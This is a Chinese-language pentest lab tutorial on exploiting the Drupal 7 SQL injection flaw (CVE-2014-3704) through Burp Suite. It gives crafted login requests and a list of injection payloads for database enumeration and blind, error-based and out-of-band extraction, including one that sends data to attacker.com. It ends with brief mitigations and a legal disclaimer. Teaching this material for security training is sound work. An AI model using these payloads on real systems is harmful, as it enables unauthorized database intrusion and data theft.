渗透测试 | 对目标服务器所存在Drupal CMS漏洞进行漏洞利用
字数 1344 2025-09-04 23:22:12
Drupal CMS SQL注入漏洞利用教学文档
1. 漏洞概述
本实验针对Drupal CMS 7.x-7.32版本中存在的一个高危SQL注入漏洞。该漏洞位于数据库抽象API中的expandArguments函数,由于未正确构造prepared statement,攻击者可通过精心构造的key数组进行SQL注入攻击。
影响版本:Drupal core 7.x至7.32之前的版本
2. 实验环境准备
2.1 硬件环境
- 服务器:Windows Server 2008 1台
- 防火墙:1台
- 攻击机:Windows 10 1台
- 网络设备:交换机2台,路由器1台
2.2 软件工具
- 火狐浏览器
- Burp Suite Community版
2.3 目标网站
- URL:http://202.1.10.34:8080
3. 实验步骤详解
3.1 配置代理环境
- 打开火狐浏览器,访问目标网站确认可正常连接
- 配置浏览器代理:
- 点击右上角菜单图标 → 选择"选项"
- 进入"常规" → 点击"网络设置"的"设置"按钮
- 选择"手动配置代理"
- 确保代理设置与Burp Suite监听端口一致(默认8080)
- 点击"确定"保存设置
3.2 启动Burp Suite
- 双击桌面"BurpSuiteCommunity.exe"图标
- 启动时依次点击"Delete" → "Next" → "Start Burp"
- 确保Proxy模块处于活动状态
3.3 捕获登录请求
- 在目标网站上进行正常的登录操作
- Burp Suite将捕获到HTTP请求,示例如下:
POST /user/login HTTP/1.1
Host: 202.1.10.34:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 123
name=testuser&pass=testpass&form_id=user_login_form&op=Log+in
3.4 构造恶意请求
- 在Burp Suite中右键捕获到的请求,选择"Send to Repeater"
- 在Repeater模块中修改请求,添加恶意参数:
POST /user/login HTTP/1.1
Host: 202.1.10.34:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
name[0;SELECT+1+FROM+users+WHERE+uid=1;--]=testuser&name[0]=testuser2&pass=testpass&form_id=user_login_form&op=Log+in
3.5 漏洞利用技术详解
3.5.1 参数注入点
- 利用Drupal的数组参数处理缺陷
- 通过构造包含SQL语句的数组键名实现注入
3.5.2 常用注入payload示例
- 获取数据库版本:
name[0;SELECT+@@version;--]=testuser
- 获取当前数据库用户:
name[0;SELECT+current_user();--]=testuser
- 枚举数据库名称:
name[0;SELECT+schema_name+FROM+information_schema.schemata;--]=testuser
- 获取数据表信息:
name[0;SELECT+table_name+FROM+information_schema.tables+WHERE+table_schema=database();--]=testuser
- 获取字段信息(以users表为例):
name[0;SELECT+column_name+FROM+information_schema.columns+WHERE+table_name='users';--]=testuser
3.6 数据提取技术
- 使用条件响应技术提取数据:
name[0;SELECT+IF(SUBSTRING(@@version,1,1)='5',sleep(5),0);--]=testuser
- 使用错误回显技术:
name[0;SELECT+extractvalue(rand(),concat(0x3a,@@version));--]=testuser
- 使用OOB(Out-of-Band)技术:
name[0;SELECT+LOAD_FILE(concat('\\\\',@@version,'.attacker.com\\share\\'));--]=testuser
4. 防御措施
4.1 临时解决方案
- 禁用用户注册功能
- 限制用户输入的特殊字符
4.2 根本解决方案
- 升级Drupal到7.32或更高版本
- 应用官方补丁
4.3 安全配置建议
- 使用最小权限原则配置数据库账户
- 启用WAF(Web应用防火墙)规则
- 定期进行安全审计和漏洞扫描
5. 法律与道德声明
- 本技术文档仅用于教育目的和安全研究
- 实际测试必须获得目标系统的明确授权
- 未经授权的测试行为可能违反《中华人民共和国网络安全法》
- 研究人员应对自己的行为负责
6. 扩展学习
- 研究Drupal其他历史漏洞(CVE-2018-7600等)
- 学习其他CMS系统的SQL注入技术
- 掌握自动化工具(sqlmap)的使用方法
- 深入学习防御性编程技术
7. 参考资料
- Drupal官方安全公告SA-CORE-2014-005
- OWASP SQL注入防护指南
- MITRE CVE-2014-3704
- Burp Suite官方文档